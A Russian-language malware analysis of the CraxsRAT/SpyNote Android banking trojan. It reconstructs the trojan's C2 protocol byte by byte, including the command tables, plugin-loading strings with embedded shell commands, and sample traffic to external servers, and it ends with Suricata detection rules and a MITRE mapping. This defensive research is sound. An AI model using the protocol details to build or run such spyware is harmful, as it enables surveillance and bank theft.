Половина краж с банковских карт в России за последние полгода — дело рук одного семейства троянов. SpyNote и его наследник CraxsRAT заражают Android-устройства, открывают банковские приложения и выводят деньги. Большинство разборов этих вредоносов заканчиваются списком IOC и общими рекомендациями. Эта статья устроена иначе.
Меня зовут Евгения Устинова, я старший аналитик сетевой безопасности в компании «Гарда». Я провела статический разбор нескольких версий трояна (v3.7.1–v7.6, включая форки EagleSpy, VIPRat, RedBat, MedusaRat, DesertRat и утечку исходного кода v6/v7), восстановила полную хронологию атаки по реальному трафику и разобрала протокол до байтов.
Оказалось, что у CraxsRAT есть сетевая активность, которую невозможно отключить, не сломав клиент.
Я использовала эти базовые свойства протокола, чтобы построить правила Suricata, которые не устареют завтра, как обычные IOC. Читайте подробное исследование под катом.
Чем опасен CraxsRAT
Семейство CraxsRAT — не простые банковские трояны, это полноценная платформа для удаленного управления Android-устройствами без ведома их владельцев. С точки зрения аналитика у этого семейства есть несколько свойств, на которых стоит остановиться.
Троян скрывает свою иконку из меню, обфусцирует код и проверяет запуск в эмуляторе, а запросы разрешений маскируются под диалоги Google Play. Данные передаются в сжатом GZIP-формате, разные типы активности используют отдельные каналы связи, а идентификаторы сессий динамически меняются.
Ядро вредоноса содержит только базовые функции. Всё остальное доставляется плагинами для кражи контактов, SMS, файлов, записи звука, доступа к терминалу и т.п. Оператор загружает только нужные модули, что делает троян достаточно гибким. Благодаря ним злоумышленник может:
видеть экран жертвы в реальном времени через скринкаст;
вести прослушку через удаленную активацию микрофона;
читать переписку и перехватывать уведомления
считывать коды 2FA через Accessibility Service;
принудительно открывать любые приложения;
выполнять shell-команды с полным доступом к файловой системе;
удаленно блокировать и разблокировать экран.
CraxsRAT может автоматически нажимать кнопку «Allow» без ведома пользователя.
Как только на экране жертвы появляется системный диалог запроса разрешения (например, на доступ к SMS или контактам), троян через Accessibility Service мгновенно анализирует содержимое окна, находит кнопку с текстом «Allow» на десятке языков или по системному идентификатору и программно нажимает её.
Отдельно стоит упомянуть встроенный JavaScript-скиммер: он внедряет в WebView код, который перехватывает cookies-сессии и всё, что вводит пользователь. Внедренный JavaScript-код находит на странице все поля ввода (input), извлекает введенные пользователем значения и добавляет к ним cookies текущей сессии. Собранные данные формируются в строку и отправляются на сервер злоумышленника.
Жизненный цикл атаки: хронология событий

Чтобы понять, как оператор управляет зараженным устройством, я проанализировала сетевой трафик множества образцов и восстановила полную хронологию команд и ответов на устройстве.
Для наглядности привязала всё к таймлайну одного из типичных запусков. Сначала — краткое саммари, потом подробный разбор каждого этапа.
Автоматическая регистрация
Сразу после установки соединения бот без участия оператора отправляет регистрационное сообщение. В нем содержится информация о версии протокола, адресе сервера и именах директорий, которые троян в дальнейшем будет использовать для хранения данных.
Загрузка плагинов
Получив регистрационное сообщение, сервер практически мгновенно отвечает серией команд и начинает загрузку полного комплекта из восьми, входящих в билд, плагинов.
Cписки для трех типов команд из канала C2
Ниже приведу списки для трех типов команд из канала C2, которые получены на основе данных динамического анализа семплов:
1. Команды основного модуля
Команда | Описание |
sc:on | Включение захвата экрана |
sc:off | Выключение захвата экрана |
sp<*>UPIN | Разблокировка экрана |
sp<*>LK | Блокировка экрана |
sp<*>Ho | Переход на домашний экран |
sp<*>RC | Открытие списка последних приложений |
sp<*>{X,Y} | Выполнение серии кликов по координатам |
lodp<*>l<*> | Запрос списка сохраненных данных сайтов |
lodp<*>ad<*> | Добавление новой фишинговой цели |
lnk<*> | Открытие ссылки в браузере |
msg: | Отправка toast-уведомления |
srec<*>on | Включение записи звука |
srec<*>off | Выключение записи звука |
adm<*> | Запрос прав администратора |
pslock<*>allow | Разрешение кликов через оверлей |
pslock<*>disallow | Запрет кликов через оверлей |
rmiui<*> | Команды для работы с MIUI |
2. Команды плагинам
Команда | Описание |
info method [ID] info | Запрос информации об устройстве |
info method [ID] account | Запрос данных об аккаунтах |
info method -1 call | Инициация телефонного вызова |
apps method [ID] apps | Запрос списка приложений |
apps method -1 load | Загрузка списка приложений |
apps method -1 open | Принудительный запуск приложения |
3. Автоматические отчеты клиента
Идентификатор | Описание |
-1 | Регистрация устройства |
-A | Информация о текущем активном приложении |
-2 | Служебное подтверждение |
-255 | Статус экрана и результат ping |
-449 | Статус разрешений (битовая маска) |
-666 | Перехваченное уведомление |
Сбор информации
Прежде чем переходить к активным действиям, злоумышленник собирает максимум данных о жертве. Получив плагины, оператор с помощью команды info запрашивает детальную информацию об устройстве (делается это через отдельный плагин), клиент в ответ отправляет данные и скриншот рабочего стола. Следом запрашивается список установленных приложений.
Обязательные «отстуки»
Параллельно без запроса от сервера троян отправляет служебные сообщения. Таким способом происходит передача информации о текущем активном окне, системных уведомлений, а также результатов проверки связи и статуса экрана блокировки. Каждый раз, когда жертва переключает приложение, или открывает уведомление, сервер получает информацию об этом.
Активное управление
Оператор полностью удаленно контролирует зараженное устройство. Например, он может принудительно открывать любые приложения на устройстве жертвы (начиная с браузера и камеры, заканчивая системными настройками и магазином приложений). Это подтверждается автоматическими отчетами о смене активного окна.
Оператор также имеет возможность включать и отключать захват экрана, получать в реальном времени данные с микрофона (аудиостриминг), управлять оверлейными окнами, блокировать или разрешать запуск конкретных приложений через черный список, инициировать телефонные вызовы.
Автоматическая регистрация и первый запрос на С2

При каждом запуске вредоноса зараженное устройство самостоятельно без какого-либо запроса отправляет на сервер регистрационный пакет. Для установки соединения с сервером управления бот использует параметры, заданные на этапе сборки билдера.
Адрес сервера C2 для регистрационного сообщения берется из двух закодированных в Base64 в статических переменных: ClientHost и ClientPort.
Структура регистрационного сообщения
Регистрационное сообщение (Check-In) является одним из наиболее важных элементов протокола взаимодействия между зараженным устройством и сервером управления. Именно с этого сообщения начинается любая сессия работы трояна — клиент сообщает серверу свои параметры, версию протокола и структуру хранения данных.
Анализ формата Check-In позволяет не только идентифицировать сам факт заражения, но и получить информацию о конфигурации конкретного экземпляра вредоносного ПО. Следует отметить, что только это сообщение использует двоеточие ( : ) в качестве разделителя полей.
Ниже приведен формат регистрационного сообщения:
[IP_сервера]:[порт]:AppData:system_info:system_config:meta_data:[домен_сервера]:[флаги]:[CR]:V4:
Теперь на примере поясню, что обозначает каждое поле:
Значение | Назначение элемента |
| Адрес сервера для ответов (взят из сокета) |
| Директория для данных приложения (в коде) |
| Директория для системной информации (в коде) |
| Директория для конфигурации (в коде) |
| Шаблон имени для плагинов (/AppData/meta_data[n]) |
| Адрес сервера (конфигурация) |
| Строка флагов из strings.xml |
| Служебный маркер (код) |
| Версия протокола (код) |
Формирование идентификатора устройства
Чтобы в дальнейшем опознаваться на сервере, устройство-клиент использует специальный идентификатор. Троян собирает длины системных параметров устройства (плата, бренд, процессор, модель и другие), объединяет их в строку и вычисляет MD5-хеш, который становится уникальным и постоянным идентификатором жертвы.
|
Важно, что в процессе создания идентификатора собираются не хеш-значения полей, а хеш конкатенации остатков от деления на 10 длин параметров устройства.
Формат сообщения «на проводе»
Как и все остальные сообщения, heartbeat-пакет упаковывается следующим образом:
|
После упаковки структура уже имеет такой вид:
|
Загрузка плагинов

Процесс загрузки дополнительных модулей является одной из ключевых особенностей архитектуры CraxsRAT. Как я уже отметила выше, за счет модульного подхода при появлении новых задач оператору не нужно обновлять всю программу целиком. Ниже приведу список загружаемых сервером плагинов.
Плагин | Для чего нужен |
plugens.angel.plugens.apps | Собирает информацию о приложениях |
plugens.angel.plugens.calls | Работает с логом звонков |
plugens.angel.plugens.contacts | Собирает контакты |
plugens.angel.plugens.files | Работает с файлами |
plugens.angel.plugens.info | Собирает информацию об устройстве |
plugens.angel.plugens.microphone | Ведет запись с микрофона |
plugens.angel.plugens.sms | Читает SMS |
plugens.angel.plugens.terminal | Предоставляет доступ к терминалу |
Структура команды на загрузку плагина
Команда на загрузку плагина, как и регистрационное сообщение, имеет строго определенную структуру с фиксированными полями и использует универсальный разделитель. Далее приведу больше технических деталей.
Общий формат команды загрузки плагина на примере:
0⏐plugens.angel.plugens.apps⏐8⏐rm -r⏐dex⏐ping -c 1 -W 15⏐1⏐2⏐3⏐4⏐5⏐6⏐7⏐8⏐9⏐10⏐11⏐-2⏐-1
Знак ⏐ в команде загрузки плагина обозначает кастомный разделитель. Он не является фиксированным значением. В частности, в билдах EagleSpy он принимает значение EagleSpy, в билдах CraxsRAT — 1234 или TxTxT. Таким образом, злоумышленник может изменять разделитель на этапе сборки, используя его в качестве идентификатора и пароля доступа к серверу.
Описание полей команды на примере данных, полученных из трафика
Поле | Значение в примере | Описание |
Префикс |
| Указывает на тип сообщения «загрузка нового плагина» |
Идентификатор плагина (полное имя загружаемого модуля) |
| Задает идентификатор загружаемого модуля (для маршрутизации команд от сервера к плагинам) |
Счетчик |
| Указывает порядковый номер или общее количество частей при множественной загрузке |
Shell-команда |
| Удаляет предыдущие версии плагина перед установкой новой |
Тип данных |
| Определяет формат передаваемых данных — исполняемый код Android (DEX-файл Dalvik Executable) |
Shell-команда |
| Проверяет сетевую доступность сервера и сохраняется для последующего выполнения |
Опкоды 1-11 |
| Служат активаторами для различных функциональных блоков при обработке последующих команд |
Служебный маяк |
| Отправляет на сервер пустой «отстук» |
Флаг отправки |
| Регулирует отправку служебного «маяка» |
На стороне клиента процесс обработки команды загрузки плагина выглядит следующим образом:
Полученное сообщение разбивается на массив строк с использованием разделителя
Проверяется префикс, направляющий выполнение в ветку загрузки плагинов
Байт-код плагина (он передается следом в этом сообщении) сохраняется во временный файл в директории
AppDataпод именем видаmeta_dataXкак и указывалось в регистрационном сообщенииИз полученного временного файла загружается класс через
DexClassLoader, а ссылка на файл сохраняется в списке активных плагиновShell-команды ( rm -r ,
ping -c 1 -W 15) сохраняются в массиве функциональных блоков для последующего выполненияТриггеры опкодов (opcode)
1-11и маяки-2, -1 активируют блоки с заранее определенным функционаломВременный файл плагина удаляется (в штатном режиме), а сам плагин при этом остается в оперативной памяти
Назначение опкодов триггеров команд
Числа от 1 до 11 в команде загрузки плагинов не являются частью shell-команд, а представляют собой самостоятельные триггеры. Они извлекаются из сообщения и управляют заранее запрограммированными действиями.
Функционал каждого опкода
Опкод | Функциональный блок |
1 | Отправка статуса и логов |
2 | Проверка статуса администратора |
3 | Выполнение команд загруженных плагинов |
4 | Запуск сервиса геолокации |
5 | Остановка сервиса геолокации |
6 | Выполнение shell-команды |
7 | Отправка данных |
8 | Отправка статуса и логов |
9 | Отправка данных |
10 | Логирование (echo) |
11 | Зарезервирован или используется в других модулях |
Запрос информации о зараженном устройстве

После загрузки всех необходимых модулей оператор приступает к сбору данных о зараженном устройстве. Одним из первых активируется плагин info , отвечающий за получение детальной информации об устройстве. Команда имеет следующий формат:
|
Префикс 1 в структуре команды указывает, что она предназначена для ранее загруженного плагина (модуля). Далее следует идентификатор плагина plugens.angel.plugens.info , затем ключевое слово method, после которого передается уникальный идентификатор сессии запроса (в данном случае 1NRQ704). Сама команда для плагина обозначена как info, а параметры как x0D0xnullx0D0xnull (x0D0x — разделитель), указывая, что дополнительных аргументов не требуется.
После получения команды плагин info приступает к сбору полной информации об устройстве. В зависимости от реализации, плагин может извлекать:
модель и производителя устройства;
версию операционной системы;
объем оперативной памяти;
состояние аккумулятора;
список установленных приложений;
данные об аккаунтах;
информацию о сети и сотовом операторе, а также множество других параметров.
Собранные данные упаковываются и отправляются на сервер в ответном сообщении с тем же идентификатором сессии 1NRQ704. Через идентификатор сервер связывает запрос и полученный ответ.
Сбор информации об установленных приложениях

Для формирования цифрового профиля жертвы злоумышленнику важно знать, какие приложения установлены на устройстве. Эту задачу выполняет плагин apps, который активируется командой следующего формата:
|
Как и в случае с плагином info, префикс 1 указывает на команду загруженному модулю, а 16QoV423 служит уникальным идентификатором сессии. Сама команда apps без дополнительных параметров означает, что плагин должен собрать и вернуть полный список установленных на устройстве приложений.
Структура ответа клиента на команду
Ответ клиента состоит из двух частей. Первая часть — это идентификатор сессии 16QoV423 , подтверждающий, что ответ относится к данному конкретному запросу. Вторая часть — это данные, структурированные с использованием специальных разделителей.
Ниже детально рассмотрю начальный фрагмент ответа на запрос приложений:
x0D0xYouTube x0A0xSystem x0A0xcom.google.android.youtube x0A0xMon Aug 02 17:43:59 GMT+01:00 2021 x0A0x/9j/4AAQSkZJRgABAQA... x0L0xGoogle x0A0xSystem x0A0xcom.google.android.googlequicksearchbox x0A0xMon Aug 02 17:44:31 GMT+01:00 2021 x0A0x/9j/4AAQSkZJRgA... x0L0xFiles x0A0xSystem x0A0xcom.android.documentsui x0A0xMon Aug 02 17:41:03 GMT+01:00 2021 x0A0x/9j/4AAQSkZJRgABAQAAAQ...
В ответе клиента содержится сериализованный Java-объект, в теле которого каждая запись о приложении содержит следующие поля, разделенные маркером x0A0x:
Значение | Описание |
YouTube | Название приложения, отображаемое пользователю |
System | Тип приложения (системное или пользовательское) |
com.google.android.youtube | Уникальный идентификатор пакета (package name) |
Mon Aug 02 17:43:59 GMT+01:00 2021 | Дата установки приложения |
/9j/4AAQSkZJRgABAQA... | Иконка приложения, закодированная в формате Base64 (JPEG) |
Записи разделяются маркером x0L0x, обозначающим конец одного приложения и начало следующего. Маркер x0D0x служит для обозначения начала и конца всего массива данных.
Что дает злоумышленнику информация о установленных на устройстве приложениях
Команда apps дает злоумышленнику полную картину программного окружения жертвы. Полученный список приложений позволяет оператору:
определить цели для атаки;
понять профиль жертвы;
подготовить фишинговые страницы;
отслеживать изменения.
Мониторинг активности устройства (периодическая автоматическая активность)
Для эффективного удаленного управления зараженным устройством оператору необходимо постоянно отслеживать два ключевых параметра: что именно делает клиент в данный момент и в каком состоянии находится устройство. CraxsRAT решает обе эти задачи с помощью разных типов автоматических сообщений, каждое из которых имеет свой механизм отправки и свое назначение, и состоят из двух частей: идентификатора и структурированных данных.
Мониторинг активного окна (ActiveNow): первая автоматическая активность

Идентификатор -A используется для информирования сервера о том, какое приложение в данный момент активно на экране. Данный механизм построен на событиях и достаточно эффективно позволяет отслеживать активность без лишних запросов в сеть.
Когда пользователь переключается между приложениями, открывает новое окно или возвращается на домашний экран, ОС Android генерирует событие TYPE_WINDOW_STATE_CHANGED. Троян, используя Accessibility Service, перехватывает это событие и извлекает из него имя пакета и название активного приложения. Далее происходит следующая проверка: если приложение сменилось (то есть имя пакета отличается от предыдущего), бот отправляет на сервер сообщение с идентификатором -A и названием активного приложения.
Что важно. Если пользователь переключается между разными окнами внутри одного приложения (например, между активностями банковского приложения), сообщение не отправляется. Таким образом, сервер получает уведомления только о переходах между разными приложениями.
Периодический мониторинг (Keep-Alive)

В отличие от механизма контроля активного окна -A, сообщения с идентификатором -255 (в коде ScreenBing ) отправляются строго по таймеру и несут информацию о состоянии экрана и статусе административных привилегий.
Механизм отправки. В основном цикле обработки команд трояна есть таймер, установленный на 60 секунд. Когда счетчик достигает нуля, бот формирует сообщение -255 . Оно содержит два ключевых элемента, разделенных маркером <!>:
|
Первый элемент сообщения - это результат выполнения shell-команды, сохраненной из сообщения загрузки плагина (ping -c 1 -W 15 <адрес С2>). Второй элемент — флаг, показывающий, активированы ли права администратора устройства ( 1 — активны, 0 — нет).
Дополнительные действия. Сразу после отправки -255 троян вызывает метод, который выполняет ping-запрос к серверу, подготавливая данные для следующего сообщения. Таким образом, каждую минуту происходит циклический процесс: отправка статуса → выполнение ping → сохранение результата → ожидание следующей минуты.
Мониторинг уведомлений

Важной функцией CraxsRAT является перехват системных уведомлений, автоматически отправляемых на сервер с идентификатором -666.
Пример из трафика
|
Структура данных
Поля разделены вертикальной чертой ( | - встроенный разделитель):
Приложение-отправитель —
Android SystemЗаголовок уведомления —
Configure physical keyboardТекст уведомления —
Tap to select language and layoutМаркер окончания уведомления —
.
Что дает злоумышленнику мониторинг уведомлений?
Полный контроль действий жертвы (сразу видно, какие приложения использует, какие настройки меняет)
Перехват 2FA-кодов (уведомления с кодами подтверждения от банков и сервисов)
Чтение переписки (перехват текста сообщений из мессенджеров)
Сбор контекста для атак (выбор момента для фишинга, например, сразу после уведомления из банка)
Удаленный захват экрана

Одна из наиболее опасных функций CraxsRAT — удаленный захват экрана зараженного устройства в реальном времени. Эта возможность реализуется командой сервера с префиксом 2:
2| sc:on:20~30~23ddfcd79dc9d589~450x300| 18.192.31.30| 15508| ddll| 0| 0| x0A0x| 23ddfcd79dc9d589
Для выполнения команды трансляции экрана не нужен плагин. Эта функция реализована в основном коде трояна. Трансляция может осуществляться на сторонний сервер, указанный в команде.
Структура команды для захвата экрана
Команда состоит из нескольких обязательных элементов, разделенных маркером:
Элемент | Значение | Описание |
Префикс |
| Команда для основного модуля |
Команда |
| Включение захвата экрана (screen capture on) |
Параметры |
| Настройки захвата |
IP сервера |
| Адрес для отправки скриншотов |
Порт |
| Порт для отправки |
Маркер |
| Сигнал начала основной команды |
Флаги |
| Зарезервированные параметры |
Разделитель |
| Служебный маркер |
ID жертвы |
| Уникальный идентификатор бота |
Параметры захвата экрана
Особого внимания заслуживает строка параметров 20~30~23ddfcd79dc9d589~450x300. Каждое поле в строке отделено символом ~ :
Параметр | Значение | Назначение |
Качество |
| Степень сжатия JPEG (от 1 до 100). Низкое качество уменьшает размер передаваемых данных |
FPS |
| Частота кадров в секунду. Определяет плавность транслируемого контента |
ID сессии |
| Уникальный идентификатор данной сессии захвата (совпадает с ID жертвы) |
Разрешение |
| Размер передаваемого изображения в пикселях |
Маршрут обработки команды захвата экрана в коде
Получение и парсинг (основной модуль):
Префикс
2указывает, что это системная команда из основного кодаКоманда на включение скринкаста:
sc:on:20~30~23ddfcd79dc9d589~450x300 спараметрами: FPS, качество, ID сессии и разрешениеАдрес сервера (
18.192.31.30), порт (15508)
Инициализация нового стрима:
Основной модуль распознает команду sc:on и делегирует управление активности, которая запрашивает у пользователя разрешение на захват экрана через
MediaProjectionManagerПосле получения разрешения запускается сервис, которому передаются параметры:
resultCode, resultIntent, качество, FPS, ID сессии и разрешение
Передача данных по новому стриму:
Сервис создает новый сокет и подключается к серверу, адрес которого был получен в команде (
18.192.31.30:15508)Заголовок данных содержит код скринкаста
-9, реальное разрешение экрана ( 1080:720), и главное - тот же ID сессии (23ddfcd79dc9d589). Это связывает новый поток данных с исходной командойДалее сервис непрерывно захватывает экран через
VirtualDisplayиImageReader, сжимает кадры в JPEG и отправляет их по стриму
В результате выполнения команды злоумышленник получает возможность в режиме реального времени наблюдать за всем, что происходит на экране жертвы. Так, он может:
видеть вводимые пароли и PIN-коды;
отслеживать переписку в мессенджерах;
наблюдать за действиями в банковских приложениях;
получать информацию о посещаемых сайтах;
следить за навигацией в настройках устройства.
Кадры захваченного экрана отправляются на сервер в сообщениях с идентификатором -9. Например:
-9:1080:720:23ddfcd79dc9d589:n. Как видно в структуре, само изображение передается во второй части сообщения в дважды сжатом GZIP-формате.
Итоговая структура данных скринкаста «на проводе»:
|
Аудиостриминг: прослушивание через микрофон

Злоумышленник может прослушивать микрофон зараженного устройства. Эта функция реализована в плагине microphone и работает по принципу непрерывной трансляции аудиопотока на сервер. Запуск прослушивания инициируется командой от сервера с префиксом 1:
1 plugens.angel.plugens.microphone method -1 start18.192.31.30 15508 8000 14VsL546 23ddfcd79dc9d589 0
Команда к загруженному плагину содержит следующие параметры, разделенные маркером x0D0x.
Параметры команды | Описание |
| IP-адрес сервера для отправки аудиопотока |
| порт сервера |
| частота дискретизации (8 кГц, стандартное качество для голоса) |
| уникальный идентификатор сессии записи |
| ID жертвы |
| тип потока (0 — голосовой, 1 — музыкальный) |
Принцип работы команды аудиостриминга
Получая команду start, плагин устанавливает прямое сокет-соединение с указанным сервером, минуя основной канал управления. Это важная деталь.
Аудиотрансляция идет по отдельному каналу, не смешиваясь с остальным трафиком, снижая нагрузку и усложняя обнаружение.
Плагин создает AudioTrack с заданными параметрами (частота 8000 Гц, моно, 16-битный PCM). В зависимости от типа потока он автоматически устанавливает максимальную громкость соответствующего канала через AudioManager. Это гарантирует качественную запись независимо от пользовательских настроек.
Разбивка аудиопотока на пакеты
Захваченный звук не передается единым потоком, а разбивается на отдельные пакеты. Каждый пакет содержит:
Заголовок с идентификатором сессии, ID жертвы и параметрами потока. Внутри эта запись разделяется маркером x0A0x .
14VsL546 x0A0x23ddfcd79dc9d589 x0A0x8000 x0A0x0
2. Аудиоданные — фрагмент звука длительностью около 1-2 секунд, преобразованный в байтовый массив.
Заголовок, и аудиоданные перед отправкой сжимаются (Сжатие GZIP ) по отдельности для уменьшения трафика. В результате каждый пакет выглядит в логах как пара сообщений. Первая часть (короткая) в виде заголовка с параметрами, а вторая (большая) — сжатые аудиоданные. Такая структура прослеживается во всех сообщениях трояна, давайте рассмотрим её подробнее в следующем разделе.
Анализ сетевого трафика: структура пакетов и механизмы упаковки
Для стороннего наблюдателя, перехватывающего сетевой трафик зараженного устройства, взаимодействие с C2-сервером выглядит TCP-соединение, передающие бинарные данные, не поддающиеся мгновенному анализу. Из-за того, что CraxsRAT использует продуманную систему упаковки, комбинирующую GZIP-сжатие и заголовки, без изучения кода клиента и понимания его трафика, этот вредонос сложно обнаружить.
В этом разделе я с помощью метода «из сети в код, из кода в сеть» детально разберу, как формируются пакеты и какую структуру они имеют «на проводе».
Общая структура пакета данных
Все команды и ответы в C2-канале, а также данные в стримах, передаются не в чистом виде, а проходят через процедуру упаковки. На входе берутся две части данных (обычно это строка-идентификатор и полезная нагрузка) и преобразуются в единое сообщение.
[Длина сжатой части A] + [0x00] + [Длина сжатой части B] + [0x00] + [GZIP(часть A)] + [GZIP(часть B)]
Используя регистрационное сообщение от клиента, которое я разбирала ранее, покажу, как эта структура создается.
Входные данные:
Часть A (строка префикс):
-1Часть B (информационная строка):
18.192.31.30:15508:AppData:system_info:system_config:meta_data:0.tcp.eu.ngrok.io:11000011:[CR]:V4:
Процесс формирования сообщения клиента:
Строка-префикс сжимается с помощью GZIP. В результате получается архив в шестнадцатеричном представлении: 1F8B 0800 0000 0000 0000 D335 0400 2A48 2D30 0200 0000
Каждый байт можно описать следующим образом:
Hex | Описание |
| Magic bytes (gzip signature) |
| CM — deflate |
| FLG — все флаги сброшены |
| MTIME — не задано |
| XFL — компрессия по умолчанию |
| OS — FAT/Windows |
| Compressed data (DEFLATE, 4 байта) |
| CRC32 (LE) |
| ISIZE — оригинал 2 байта (длина команды -1 ) |
Информационная строка также сжимается GZIP. Причем для разных исходных данных она будет своя. А вот Magic bytes и служебные поля Gzip останутся прежними: 1F8B 0800 0000 0000 0000 …
Вычисление длин
Длина сжатой строки
-1составляет 22 байта. В ASCII-представлении —22. В шестнадцатеричном виде это дает байты32 32.Длина сжатой информационной строки составляет 108 байт. В ASCII-представлении —
108, или байты31 30 38.
Формирование заголовка
Заголовок формируется путем конкатенации: [ASCII длины ч.A] + [0x00] + [ASCII длины ч.B] + [0x00]. В шестнадцатеричном виде это выглядит как: 32 32 00 31 30 38 00 .
Финальная сборка сообщения
К заголовку последовательно дописываются сжатые части A и B. Затем на сервер отправляется итоговый поток данных следующего вида:
|
В конечном счете в трафике будет передана примерно вот такая конструкция:

Детектирование трояна средствами IDS
Для обнаружения трояна в сети отлично подходят правила формата Snort/Suricata — это отраслевой стандарт сигнатурного анализа трафика. Данные системы выявляют угрозы, сопоставляя сетевую активность с известными сигнатурами. На основе анализа поведения трояна можно выделить несколько ключевых стадий сетевой коммуникации, для которых целесообразнее всего разрабатывать правила детектирования.
Что такое Suricata?
Suricata — высокопроизводительный движок обнаружения и предотвращения вторжений (IDS/IPS) с открытым исходным кодом, разрабатываемый организацией Open Information Security Foundation (OISF). В отличие от простых пакетных фильтров, Suricata работает на уровне приложений и способна декодировать протоколы HTTP, DNS, TLS и другие, извлекать метаданные соединений и сопоставлять их с библиотекой сигнатурных правил в режиме реального времени.
Правила Suricata описывают характерные признаки вредоносного трафика и при совпадении, либо генерируют алерт, либо блокируют соединение. Формат правил совместим со Snort, что обеспечивает широкую базу готовых сигнатур и низкий порог входа для аналитиков, уже знакомых с экосистемой.
Suricata является одним из ключевых инструментов в составе NDR-решений (Network Detection and Response) и широко применяется как в корпоративных SOC, так и в специализированных продуктах сетевой безопасности.
Стадии сетевых коммуникаций
Опираясь на результаты проведённого исследования сетевого трафика, обозначу ключевые стадии взаимодействия инфицированного хоста с C2-сервером.

Приоритеты детектирующей логики
В совокупности правила должны перекрывать наиболее устойчивые и обязательные стадии жизненного цикла CraxsRAT-клиента. Загрузка плагинов и трансляция медиапотоков могут полностью отсутствовать в минимальных сборках клиента — их наличие зависит от конфигурации конкретного экземпляра вредоноса. Писать правила под опциональное поведение — значит получать детектирование с низким покрытием. Это не наш вариант.
Первоначальная установка соединения и периодическая активность устройства — две стадии, которые присутствуют в любой рабочей конфигурации клиента, поскольку они содержатся в основном коде и без них взаимодействие с C2 невозможно в принципе. Детектирование периодической активности устройства позволит мне, как аналитику выявить действующий канал управления на протяжении всей сессии связи с С2. Именно на этом и я сосредоточилась при разработке правил. Ниже привела примеры нескольких из них.
Общий шаблон детектирующего правила
Поскольку все сообщения между клиентом и C2 передаются в виде Gzip-архивов, это даёт надёжную отправную точку для построения сигнатур. Общие байты Gzip-заголовка (1f 8b 08 00 00 00 00 00 00 00 ) присутствует в каждом сообщении и могут служить базовым контентным фильтром. На его основе я построила шаблон, который впоследствии адаптировала под конкретные стадии сетевых коммуникаций:

Разберу структуру шаблона по полям:
Поле | Назначение |
alert tcp any any → any any | инспектировать весь TCP-трафик независимо от порта и адреса |
msg: "GT SPYWARE CraxsRAT"; | генерировать сообщение при срабатывании правила |
flow: established, to_server | анализировать только установленные соединения, трафик в сторону сервера |
content: "|32 32 00|”; | детектировать байты служебной части сообщения |
content: "1f 8b 08 00 00 00 00 00 00 00”; | детектировать магические байты Gzip и заголовок архива |
threshold: type limit, track by_dst, count 1, seconds 180 | агрегировать множественные срабатывания на интервале трёх минут по адресу назначения |
classtype: command-and-control | классифицировать угрозы |
sid; rev; priority | идентифицировать правила, проводить ревизию и приоритизировать |
Правило 1: Регистрация клиента (Check-In) - обязательное сообщение
В ходе исследования я установила, что регистрация клиента на сервере состоит из двух частей: первая содержит команду -1 , вторая — строку регистрации с данными об устройстве. Содержимое первой части архива является константным для всех версий клиента. Это делает её идеальной целью для сигнатурного детектирования.
Правило проверяет заголовок длины первой части ( 32 32 00 ) и следующий за ним байтовый контент архива с командой, дополнительно захватывая разделитель 00 в начале и Gzip второй части 1f в конце. Глубина анализа ограничена 32 байтами после обнаружения заголовка.

Правило 2: Мониторинг активного окна - периодическая активность
В ходе анализа периодической активности клиента я зафиксировала регулярное сообщение с командой -A, передающее информацию о текущем активном окне на заражённом устройстве. Этот тип трафика генерируется автономно, без явного запроса со стороны сервера, и является надёжным индикатором активного заражения.

Правило 3: Keep-Alive (поддержание соединения) - периодическая активность
Помимо мониторинга активного окна, клиент периодически отправляет на C2 команду -255 , служащую своего рода сигналом поддержания соединения с результатами ping сервера управления. Этот механизм обеспечивает непрерывность канала связи и также присутствует в любой рабочей сборке клиента.

Получив знание о протоколе и его фишках, можно и нужно применять эти знания при создании детектов.
Методология исследования и применение его результатов для сетевого детектирования
История с CraxsRAT наглядно показывает: чтобы надежно ловить такие угрозы, нужен комплексный подход, одного метода здесь недостаточно. Мне помогло сочетание статического анализа кода и динамического мониторинга трафика. Оно позволило не просто разобрать троян «по косточкам», но и создать надежные правила детектирования.
Замкнутый цикл исследования
Использованная мной методология выстраивается в замкнутый цикл, где каждый этап обогащает данными следующий:

Отправной точкой для исследования послужил захваченный сетевой трафик, давший первичное представление о структуре команд и паттернах взаимодействия. Извлечение из трафика и декомпиляция исполняемых файлов трояна позволили заглянуть внутрь плагинов и основного кода. Анализ кода из трафика, раскрыл детали, невидимые при простом наблюдении за сетью. В частности, я увидела, как именно формируются команды для управления плагинами, какие временные интервалы используются, как зашиты команды в тело трояна.
Вооруженная этим знанием, я смогла уже по-новому взглянуть на сетевой трафик — идентифицировать и понять назначение каждого элемента в структуре команд, выявить закономерности периодической активности.
От знания к правилам
Синтез сетевых наблюдений и понимание внутренней логики помог разработать правила, которые опираются на знание протокола:
регистрационное сообщение всегда содержит идентификатор
-1клиент отправляет сообщение
-255каждые 60 секундсообщение серверу формируется каждый раз при смене активного окна
Изучение протокола позволило мне создать правила, устойчивые к поверхностным изменениям. Теперь, даже если злоумышленник сменит билд или использует мод семейства SpyNote, правила продолжат детектировать угрозу. Далее в приложении я поделилась индикаторами компрометации и техниками MITRE, которые используют злоумышленники в рамках атаки с помощью CraxsRAT.
Приложение
Индикаторы компрометации (IoC) IP-адреса C2 серверов CraxsRAT
Список IoC
IP-адрес | Описание |
| C2 сервер
|
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
|
Таблица MITRE ATT&CK
Тактика | ID техники | Название техники | Реализация техники в CraxsRAT |
Initial Access (TA0027) | T1444 | Masquerade as Legitimate Application | Маскировка под безобидные приложения (Госуслуги, банковские сервисы) с помощью поддельных названий и иконок |
T1476 | Malicious File | Распространение ВПО через фишинговые SMS-сообщения в различных мессенджерах с целью побудить жертву загрузить и установить вредоносный APK-файл | |
Execution (TA0041) | T1204.002 | Malicious File | Инициация процесса заражения через требование от пользователя ручного запуска установленного APK-файла |
Persistence (TA0028) | T1624 | Event Triggered Execution | Использование Accessibility Service для перехвата системных событий, таких как смена активного окна (TYPE_WINDOW_STATE_CHANGED) и появление уведомлений (TYPE_NOTIFICATION_STATE_CHANGED) |
T1546 | Event Triggered Execution | Регистрация обработчиков на события загрузки устройства (BOOT_COMPLETED) и изменение даты (DATE_CHANGED) Использование AlarmManager и JobScheduler для перезапуска сервисов | |
